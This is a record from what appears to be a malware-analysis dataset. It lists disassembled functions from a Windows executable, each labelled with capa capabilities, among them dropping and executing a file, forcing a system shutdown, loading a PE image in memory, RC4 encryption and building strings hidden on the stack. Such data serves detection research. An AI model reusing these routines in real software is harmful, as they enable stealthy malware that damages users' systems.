joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403570
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
mov eax, dword [ebp + 0x9f54]
mov dword [ebp], 0x408264
test eax, eax
jbe 0x4035c5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea edi, [ebp + 0x314]
push 0
call esi
mov eax, dword [edi]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
call esi
mov ecx, dword [edi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call esi
mov eax, dword [ebp + 0x9f54]
inc ebx
add edi, 4
cmp ebx, eax
jb 0x403595
pop edi
pop esi
mov ecx, ebp
call fcn.00403c50
pop ebp
pop ebx
ret

Function at 0x403970
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x150
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
lea eax, [esp + 0x54]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov al, 0x45
push 0
mov byte [esp + 0x14], 0x5c
mov byte [esp + 0x15], 0x52
mov byte [esp + 0x16], 0x75
mov byte [esp + 0x17], 0x25
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x2e
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x58
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], 0
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x54]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
call esi
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0x68]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov edi, eax
call esi
cmp edi, 0xffffffff
je 0x403ac0
push 0
call esi
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0x15c]
lea eax, [esp + 0x1c]
push 0
push eax
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x164], 2
je 0x403ac0
mov ecx, dword [0x40ab54]
lea eax, [esp + 0x54]
push 0x2e
push eax
call fcn.004046b0
test eax, eax
je 0x403ac0
push 0
call esi
lea ecx, [esp + 0x54]
mov byte [esp + 8], 0x6f
push ecx
mov byte [esp + 0xd], 0x70
mov byte [esp + 0xe], 0x65
mov byte [esp + 0xf], 0x6e
mov byte [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403ac0
push 0
call esi
push 5
push 0
lea edx, [esp + 0x5c]
push 0
lea eax, [esp + 0x14]
push edx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x150
ret 0xc

Function at 0x403ad0
Capabilities:
Shutdown system

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, ecx
push 0
call edi
push 1
push str.SeShutdownPrivilege
mov ecx, esi
call fcn.00403b10
mov eax, dword [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
call edi
push 0
push str.SeShutdownPrivilege
mov ecx, esi
call fcn.00403b10
pop edi
pop esi
ret 4
Function at 0x403d00
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov byte [ebp], 0x4d
mov byte [ebp + 1], 0x5a
cmp word [ebp], 0x5a4d
je 0x403d1f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x403d33
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x403d69
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x403d69
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 0x3c]
mov ecx, dword [ebx + 0x54]
add edx, ecx
mov ecx, dword [0x40ab54]
push edx
push ebp
push eax
mov dword [esp + 0x20], eax
call fcn.004043d0
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x14]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.00403e50
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0xc
sub eax, ecx
je 0x403df4
push eax
push esi
call fcn.00403fe0
add esp, 8
push esi
call fcn.00404060
add esp, 4
test eax, eax
je 0x403e24
push esi
call fcn.00403f20
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x403e3b
add eax, edi
test eax, eax
je 0x403e24
push 0
push 1
push edi
call eax
test eax, eax
jne 0x403e34
push esi
call fcn.00404210
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x403e50
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebp
xor ecx, ecx
push esi
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x403f11
push ebx
push edi
add esi, 0x10
cmp dword [esi], 0
jne 0x403ebb
mov edx, dword [esp + 0x1c]
mov ebx, dword [edx + 0x38]
test ebx, ebx
jle 0x403eef
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x403eef
mov ecx, dword [esi - 4]
mov eax, dword [esi]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esi]
mov ecx, dword [0x40ab54]
mov edi, eax
mov eax, dword [esi + 4]
push edx
mov edx, dword [esp + 0x1c]
add eax, edx
push eax
push edi
call fcn.004043d0
mov dword [esi - 8], edi
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x403e7e
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret

Function at 0x403f20
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x403fd4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x403f77
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x403fba
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x40a050]
je 0x403f8e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x403fa7
test al, 0x40
je 0x403f9e
mov ecx, dword [ebx + 0x20]
jmp 0x403fa5
test al, 0x80
je 0x403fba
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x403fba
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x403f44
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4046f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x40471a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x40476a
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x404749
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc

Function at 0x404790
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x40481c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x4047bb
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x4047d8
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x404806
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x4047aa
pop ebp
pop ebx
pop edi
pop esi
ret 0xc
Function at 0x404830
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x48
mov cl, 0x45
mov eax, 4
mov byte [esp + 0x1f], cl
mov byte [esp + 0x22], cl
mov cl, 0x49
push ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2d], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x1f], bl
mov byte [esp + 0x21], al
mov byte [esp + 0x25], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x34], cl
mov byte [esp + 0x3b], cl
mov cl, 0x72
mov byte [esp + 0x24], al
mov byte [esp + 0x27], bl
mov byte [esp + 0x30], al
mov byte [esp + 0x31], bl
mov byte [esp + 0x37], al
mov byte [esp + 0x48], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x3c], cl
mov byte [esp + 0x40], cl
mov byte [esp + 0x47], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1e], dl
mov byte [esp + 0x22], dl
mov byte [esp + 0x29], dl
mov byte [esp + 0x33], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push connect
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x2c], 0x57
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x37], 0x50
mov byte [esp + 0x38], 0x54
mov byte [esp + 0x3a], 0x4f
mov byte [esp + 0x3b], 0x4e
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x41], dl
mov byte [esp + 0x42], 0x6d
mov byte [esp + 0x44], 0x43
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6e
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4d], 0x6f
mov byte [esp + 0x4e], 0x63
mov byte [esp + 0x4f], dl
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x55], 0x30
mov byte [esp + 0x56], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 8]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x20], 0x7e
mov byte [esp + 0x21], 0x4d
mov byte [esp + 0x22], 0x48
mov byte [esp + 0x23], 0x7a
mov byte [esp + 0x24], bl
push ebx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop ebx
add esp, 0x48
ret
Function at 0x404990
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc4
mov al, 0x6c
mov cl, 0x72
mov byte [esp + 0xa], al
mov byte [esp + 0xb], al
mov al, 0x69
push ebp
mov byte [esp + 0x1c], al
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
push esi
mov byte [esp + 0x1f], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x28], cl
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0xc]
mov dl, 0x65
push eax
push ecx
xor edi, edi
mov byte [esp + 0x14], 0x41
mov byte [esp + 0x15], 0x56
mov byte [esp + 0x16], 0x49
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x41
mov byte [esp + 0x19], 0x50
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x63
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x70
mov byte [esp + 0x27], 0x47
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x44
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], dl
mov byte [esp + 0x30], 0x44
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], 0x73
mov byte [esp + 0x33], 0x63
mov byte [esp + 0x36], 0x70
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x6e
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
xor esi, esi
test edi, edi
jne 0x404a8e
lea edx, [esp + 0x38]
push 0x32
push edx
lea eax, [esp + 0x74]
push 0x64
push eax
push esi
call ebp
inc esi
mov edi, eax
cmp esi, 0xa
jl 0x404a71
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0xc4
ret
Function at 0x404aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
call esi
mov esi, dword [esp + 0x444]
mov ebp, dword [esp + 0x440]
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x53
and ecx, 3
mov byte [esp + 0xc], dl
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x34]
mov byte [esp + 0xe], dl
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x17], al
mov byte [esp + 0x22], al
mov byte [esp + 0x26], al
mov byte [esp + 0x2b], al
mov al, 0x73
mov byte [esp + 0x15], cl
mov byte [esp + 0x2c], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x438]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x27], cl
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
mov byte [esp + 0x19], 0x59
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x4d
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0x43
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6e
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x39], 0x5c
mov byte [esp + 0x3a], 0x25
mov byte [esp + 0x3c], 0
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push esi
push 0
mov eax, dword [esp + 0x454]
push ebp
push 1
lea ecx, [esp + 0x54]
push eax
push ecx
push connect
call fcn.00407620
add esp, 0x2c
pop edi
pop esi
pop ebp
add esp, 0x428
ret

Function at 0x404c00
Capabilities:
Get hostname

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x20]
push edi
lea eax, [esp + 0x10]
push esi
push eax
push ecx
mov byte [esp + 0x1c], 0x48
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0
call fcn.00404aa0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x404c50
push edi
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x405110
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x30
push ebx
mov al, 0x57
push esi
mov esi, dword [esp + 0x40]
mov cl, 0x6f
mov byte [esp + 0xc], al
mov byte [esp + 0x1b], al
mov bl, 0x5c
mov dl, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x17], cl
mov al, 0x6e
mov byte [esp + 0x1f], cl
mov byte [esp + 0x2f], cl
mov ecx, dword [0x40ab54]
push 0
push esi
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], 0x4f
mov byte [esp + 0x12], 0x46
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x15], 0x41
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x45
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], dl
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x20], 0x66
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], bl
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x64
mov byte [esp + 0x28], 0x77
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x32], 0x56
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x38], al
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x52
mov byte [esp + 0x3b], 0x75
mov byte [esp + 0x3c], al
mov byte [esp + 0x3d], 0
call fcn.004044d0
push eax
push esi
push 1
lea eax, [esp + 0x18]
push 0x40a4f6
push eax
push connect
call fcn.00407730
add esp, 0x1c
xor eax, eax
pop esi
pop ebx
add esp, 0x30
ret

Function at 0x405230
Capabilities:
Get file size
Write file on windows

Disassembly:
mov ax, word [str._subYp]
sub esp, 0x404
test ax, ax
push ebp
push esi
je 0x405313
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x405313
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x40530b
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x40530b
push ebx
test edi, 0x3ff
jne 0x4052ed
xor ebx, ebx
mov ecx, dword [0x40ab54]
call fcn.00404630
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x4052c8
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x4052be
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret
Function at 0x405c30
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x134
mov al, 0x45
mov cl, 0x79
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov al, 0x65
mov byte [esp + 0x20], cl
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x28], al
mov byte [esp + 0x2d], cl
lea eax, [esp + 0x1c]
push ebx
lea ecx, [esp + 0x10]
mov bl, 0x74
push eax
push ecx
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x2e], bl
mov byte [esp + 0x30], 0x6d
mov byte [esp + 0x31], 0x44
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x34]
push 0x104
push edx
call eax
lea eax, [esp + 4]
lea ecx, [esp + 0x34]
push eax
push ecx
mov byte [esp + 0xc], 0x5c
mov byte [esp + 0xd], 0x6f
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], 0x72
mov byte [esp + 0x10], 0x6c
mov byte [esp + 0x11], 0x6f
mov byte [esp + 0x12], 0x67
mov byte [esp + 0x13], 0x2e
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00405320
pop ebx
add esp, 0x134
ret

Function at 0x405ea0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x40ab54]
xor esi, esi
stosb byte es:[edi], al
mov edi, dword [esp + 0x110]
push edi
call fcn.004044d0
test eax, eax
jbe 0x405f24
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [esi + edi], 0x5c
jne 0x405f12
mov ecx, dword [0x40ab54]
push esi
lea eax, [esp + 0x10]
push edi
push eax
call fcn.00404440
lea ecx, [esp + 0xc]
push 0
push ecx
call sub.MSVCRT.dll__access
add esp, 8
cmp eax, 0xffffffff
jne 0x405f12
lea edx, [esp + 0xc]
push 0
push edx
call ebx
mov ecx, dword [0x40ab54]
push edi
inc esi
call fcn.004044d0
cmp esi, eax
jb 0x405edd
pop ebx
pop edi
pop esi
add esp, 0x104
ret